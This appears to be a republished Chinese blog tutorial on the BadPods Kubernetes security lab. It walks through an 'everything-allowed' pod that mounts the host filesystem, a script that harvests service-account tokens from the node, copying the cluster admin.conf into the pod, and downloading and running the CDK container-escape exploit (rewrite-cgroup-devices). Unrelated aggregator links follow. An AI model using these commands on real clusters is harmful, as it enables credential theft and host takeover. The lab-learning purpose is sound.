kubernetes学习之路--BadPods(Part1)

摘要:对Pod配置进行实战学习,以BadPods项目为例学习危险配置。

目录

一.BadPods介绍及使用

二.BadPods配置学习

2.1 less1--Everything allowed 基本操作学习

2.2 less1--Everything allowed 渗透学习


一.BadPods介绍及使用

项目地址:https://github.com/BishopFox/badPods/

上次我们已经搭建好了K8S环境了,可以直接下载并使用kubectl进行配置

kubectl apply -f ./manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml
kubectl apply -f ./manifests/priv-and-hostpid/pod/priv-and-hostpid-exec-pod.yaml
kubectl apply -f ./manifests/priv/pod/priv-exec-pod.yaml
kubectl apply -f ./manifests/hostpath/pod/hostpath-exec-pod.yaml
kubectl apply -f ./manifests/hostpid/pod/hostpid-exec-pod.yaml
kubectl apply -f ./manifests/hostnetwork/pod/hostnetwork-exec-pod.yaml
kubectl apply -f ./manifests/hostipc/pod/hostipc-exec-pod.yaml
kubectl apply -f ./manifests/nothing-allowed/pod/nothing-allowed-exec-pod.yaml

运行成功如图:

 可以对比一下node和Pod的网络配置:

 从上图我们可以很容易的看出:有一些的Pod的IP和Node节点的IP一致或者就是k8s-worker这个node节点的IP,这危害性一下子就上来了奥,那么下面我们就稍微具体的看一下具体的Pod的配置!

二.BadPods配置学习

先看一下危险配置的图:

  •  Privileged :不受限制的策略,提供最大可能范围的权限许可。此策略允许已知的特权提升。
  • hostPID:是否允许Pod共享宿主机的进程空间。
  • hostPath:是否允许使用宿主机文件系统目录。
  • hostNetwork:是否允许Pod使用宿主机网络的命名空间。
  • hostIPC:是否允许Pod共享宿主机的IPC命名空间。

2.1 less1--Everything allowed 基本操作学习

everything-allowed pod 将主机的文件系统挂载到 pod,并允许访问主机的所有命名空间和功能。进入pod后是当前node(节点)的root权限并挂载了主机文件系统的目录。

(要现拉取docker镜像:docker pull ubuntu)

首先查看配置文件内容(badPods-main/manifests/everything-allowed/pod)

everything-allowed-exec-pod.yaml

(不要太在意细节,这个是之前搭建的名称为kind的集群,举个例子就是,看注释即可)

 我们主要关注spec中的部分:

  1. hostNetwork:true,使用宿主机的网络
  2. hostPID:true,使用宿主机进程空间(ps命令)
  3. hostIPC:true,允许Pod共享宿主机的IPC命名空间
  4. privileged:true,是特权容器
  5. mountPath: /host,把下面名字为noderoot的volumes挂载带pod中的host目录下
  6. hostPath:path:/ ,允许使用宿主机的根目录/

之后我们进入容器看一看

kubectl exec -it everything-allowed-exec-pod bash

其中host目录下就是kind-worker这个节点机的根目录 

 

然后下载can-they.sh来查看我们能有什么权限

can-they.sh 地址:badPods/can-they.sh at main · BishopFox/badPods · GitHub

脚本功能:

  • 在 pod 中安装 curl 和 kubectl(如果未安装)

  • 从中获取所有令牌/host/var/lib/kubelet/pods/*

  • 针对selfsubjectaccessreviews端点循环每个令牌:kubectl --token=$token auth can-i [$user-input]

将can-they.sh脚本复制到pod中(和docker命令一样)

kubectl cp can-they.sh everything-allowed-exec-pod:/

进入pod执行该脚本

#给权限
chmod 777 can-they.sh#执行
./can-they.sh

运行结果:

这是代表一些我们可以获得到的一些token(身份验证),其中这些账号对一些接口的权限,比如create是创建权限,get是访问权限等等,后续学习RBAC权限时候会重点关注这些,现在还是主要学习pod配置中的危险配置。

因为can-they.sh这个脚本自动给我们安装了kubectl,于是尝试使用

但是发现报错了,错误提示就是我们现在的用户不能使用kubectl,这是为啥呢?

让我们回顾一下使用kubeadm安装k8s集群时候最后的步骤:

#设置admin用户使用kubectl
mkdir -p $HOME/.kube
sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config
sudo chown $(id -u):$(id -g) $HOME/.kube/config

我们需要创建一个config文件,这里面的内容是什么呢?我们可以在宿主机的用户家目录的.kube文件夹下查看config文件

这里面包含一些身份信息等等,因此我们可以使用kubectl工具,因为config文件是admin.conf拷贝过去的,所以我们需要将admin.conf文件复制过去,保证不出问题

#如果admin.conf 在 /etc/kubernetes/admin.conf
cp /etc/kubernetes/admin.conf everything-allowed-exec-pod:/root/.kube/config#或者全局搜索
find / -name admin.conf#因为我是用的kind搭建的,基于docker,所以我的admin.conf文件不在上面的那个路径,例如
cp /var/lib/docker/overlay2/8b1c646a00699a46ae49625c3eb026ae836fe4dcd50787b2e1ac2d610d9b7b57/diff/etc/kubernetes/admin.conf  everything-allowed-exec-pod:/root/.kube/config

配置好就可以运行了


使容器运行在master节点上

修改配置文件中的nodeName为主节点的名称

更新配置

#删除pod
kubectl delete pod everything-allowed-exec-pod#应用配置
kubectl apply -f everything-allowed-exec-pod.yaml

可以看到成功到了master节点

2.2 less1--Everything allowed 渗透学习

进入Pod

kubectl exec -it everything-allowed-exec-pod bash

使用一个开源工具CDK,主要是用来做容器逃逸和k8s中敏感信息收集,自带一些exp能直接得到宿主机shell等,十分好用!

项目地址:GitHub - cdk-team/CDK: 📦 Make security testing of K8s, Docker, and Containerd easier.


#刚拉取的镜像啥都没有,先update一下
apt-get update#使用wget下载CDK,慢的话手动下载然后放到服务器上
wget https://github.com/cdk-team/CDK/releases/download/v1.5.0/cdk_linux_386

使用cdk在容器中进行扫描

./cdk_linux_386 evaluate --full 

主要关注的扫描结果:

k8s服务信息:

容器权限检测以及利用方法:

根据提示我们运行命令查看结果:

以及 rewrite-cgroup-devices漏洞

#重写Cgroup以访问设备
./cdk_linux_386 run rewrite-cgroup-devicesdebugfs -w cdk_mknod_result

运行结果: 

 建议在虚拟机里尝试,别在服务器上尝试,这exp是真打啊,给我的环境都弄坏了!!


总结:本文主要分享了BadPods靶场的介绍及安装使用,对Pod的危险配置参数进行了列举并分享了一个开源且好用的云安全适用的工具。

下一篇就把剩下的危险配置做一下总结就可以了,最近在尝试复现chrome的rce漏洞,没事穿插着写一下。

就仔细一点写写less1就可以了,讲道理危险配置的pod不多,我们更应该学习后面如何拿到高权限用户或者有create pods权限的用户等,BadPods的学习是我们拿到了能创建Pod的用户然后横向到master节点的一种手段,而不是云安全中的起点奥,起点还是web,拿下web容器的权限,尝试是否能逃逸或者根据配置不当然后横向到其他pod或者node,然后一步一步拿数据和权限。


最近的chatGPT不好玩了,总是网络不稳定,而且现在也就能帮忙写写脚本了,写写正则啥的,编个shell脚本然后自己改一改还是比较能够增加工作效率的!

链接:黑客和网络安全从业者们如何正确使用OpenAi

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/56826.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基于GPT3.5实现本地知识库解决方案-利用向量数据库和GPT向量接口-实现智能回复并限制ChatGPT回答的范围...

标题有点长,但是基本也说明出了这篇文章的主旨,那就是利用GPT AI智能回答自己设置好的问题 既能实现自己的AI知识库机器人,又能节省ChatGPT调用的token成本费用。 代码仓库地址 document.ai: 基于GPT3.5的通用本地知识库解决方案 下面图片是整…

英语语法大全

文章目录 一、主语1、名词、代词和动词做主语2、主语从句做主语,谓语动词用单数3、主语从句练习 二、谓语动词1、谓语动词种类2、主谓一致 三、宾语1、单宾语2、双宾语3、复合宾语4、宾语从句 四、定语1、定语从句2、定语从句的翻译 五、状语1、分词做状语2、独立主…

规模效应和网络效应

前几天小米造车、华为造车、大疆造车、滴滴造车、百度造车集中PR。群中讨论智能新能源汽车的未来集中。甚至延伸讨论到了:云计算的未来集中度、SaaS的未来集中度。怎么能提高行业集中度,是我们都在苦苦思考的。 于是就讨论到两个词:规模效应、…

真*加班狗聚众舔福豹《打工人的那些事》

真*加班狗聚众舔福豹《打工人的那些事》 文章目录 近日的杭州金钱豹外逃新闻,相信大家都听说了。 没看过的也不急,我在这里帮大家简单理一理。 根据杭州市富阳区8日官方发布,5月7日20时许,群众报警称在富阳区银湖街道受降四联村…

国内“风口”转变,中国游戏公司纷纷“外逃”,东南亚是个好去处

中国游戏开发商正在加强对国际市场,特别是东南亚市场的承诺,因为他们的国内公司正在努力应对更困难的中国市场,以便实施在下一阶段发展布局。 根据移动应用市场情报公司Sensor Tower的一份报告,按收入排名的前100名全球移动游戏中…

chatgpt赋能python:Python编译成库的利与弊

Python编译成库的利与弊 Python作为一种高级编程语言,具有简洁易读的语法和强大的生态系统,在数据科学、Web开发、游戏开发等领域得到广泛应用。然而,Python解释器的执行效率较低,因此为了提高Python程序的性能,常使用…

产业大模型刚开卷,京东跑进“最后半公里”

点击关注 文|姚 悦 编|王一粟 “京东一直在探索哪些产品、技术、场景可以真正把大模型用起来,在我们内部的场景中反复验证后,才决定在7月份对外发布,现在我们在零售、健康、物流、金融等业务场景里已经积累了一些经…

赠书 | 写作、绘画、游戏、音视频编辑…AIGC为内容生产带来了什么?

文中有数据派THU福利哦 当AIGC产品不断涌向社会,人们纷纷认为美图app“危了“的时候,美图公司创始人兼首席执行官吴欣鸿表示,影像和 AIGC 的创新结合,将带来影像生产力的大爆发,同时会为相关领域带来新的职业和新的创业…

中文公开聊天语料库

源 / 专知 语料内容 该库搜集了包含chatterbot、豆瓣多轮、PTT八卦语料、青云语料、电视剧对白语料、贴吧论坛回帖语料、微博语料小黄鸡语料共8个公开闲聊常用语料和短信,并对其进行了统一化规整和处理,达到直接可以粗略使用的目的。 使用方法 语料下载&…

获得文本语料和词汇资源(基于nltk)

在自然语言处理的实际项目中,通常要使用大量的语言数据或者语料库。本章的目的是要回答下列问题: 什么是有用的文本语料和词汇资源,我们如何使用 Python 获取它们?哪些 Python 结构最适合这项工作?编写 Python 代码时…

NLP领域中文对话系统数据集总结(有下载地址)

一、豆瓣多轮对话数据集 1、简介: 测试数据包含 1000 个对话上下文,对于每个上下文,创建 10 个响应作为候选。正确的响应意味着响应可以自然地回复给定上下文的消息。每对收到三个标签,大多数标签被视为最终决定。 2、数据格式&…

肠道病毒组识别早产儿坏死性小肠结肠炎发病前的特异性病毒特征

期刊:Nature microbiology 影响因子:30.964 发表时间:2022 样本类型:粪便样本 研究背景 坏死性小肠结肠炎(NEC)是早产的严重后果,通常与肠道细菌微生物群的改变有关。然…

新型病毒来了【PcaPatchDbTask】

急报!!新型病毒来了【PcaPatchDbTask】 1.什么是PcaPatchDbTask PcaPatchDbTask是一种新型的木马 2.PcaPatchDbTask的危害 【1】他会劫持你的浏览器主页 【2】他会读取你的键盘信息 【3】他会获取你电脑的联系人菜单 【4】它甚至不会被安全软件查杀 3.…

Nature Reviews:给医生的菌群分析指南(下)

本文转载自“态昌基因”,己获授权。 Nature Reviews:给医生的菌群分析指南(上),主要从实验阶段介绍了以下7方面,不清楚的请点击链接跳转原文阅读。 1. 样本选择 2. 样本的采集 3. 样本的保存与保护剂 4. DNA提取 5.我到…

关于儿童急性感染性腹泻

腹泻是一种常见的症状,可导致儿童生长发育迟滞和营养不良。根据世界卫生组织(WHO)发布的数据显示,急性腹泻在5岁以下儿童死亡原因中排第二位,仅次于肺炎。引起儿童腹泻的原因包括感染和非感染因素,后者主要…

MPO抗体对丨CalBioreagents 中英文说明书

艾美捷CalBioreagents MPO抗体对英文参数说明: CATALOG NUMBER: M684 PRODUCT DESCRIPTION: Mouse Monoclonal anti-human Insulin IMMUNOGEN: Purified human MPO IMMUNOGLOBULIN ISOTYPE: IgG1 PURIFICATION: Purified by DEAE chromatography. BUFFER: Sup…

PICRUSt2菌群功能预测分析

生科云网址:https://www.bioincloud.tech 01 课程简介 PICRUSt2的原理是基于已测微生物基因组的序列,推断它们的共同祖先的基因功能谱,对数据库中其它未测物种(基因组未知)的基因功能谱进行推断,构建微生物…

病毒组学数据分析 -03 CheckV病毒序列识别

CheckV 是一个完全自动化的命令行管道,用于评估单重叠群病毒基因组的质量,包括识别集成原病毒的宿主污染、估计基因组片段的完整性以及识别封闭基因组。 管道可以分为4个主要步骤:A:去除原噬菌体上的宿主污染 根据与自定义 HMM 数…

新冠病毒分型和突变分析(SARS-CoV2_ARTIC_Illumina)

SARS-CoV2_ARTIC_Illumina新冠病毒分型和突变分析 一. 本文适用于使用Artic扩增子扩增,Illumina双端测序,用于分析新冠病毒突变及分型鉴定 二. 概览:按照惯例,先上一张概览图 流程输入SRR22216743_1.fastq.gz SRR22216743_2.fas…

还真不错,今天 Chatgpt 教会我如何开发一款小工具开发(Python 代码实现)

上次使用 Chatgpt 写爬虫,虽然写出来的代码很多需要修改后才能运行,但Chatgpt提供的思路和框架都是没问题。 这次让 Chatgpt 写一写GUI程序,也就是你常看到的桌面图形程序。 由于第一次测试,就来个简单点的,用Python…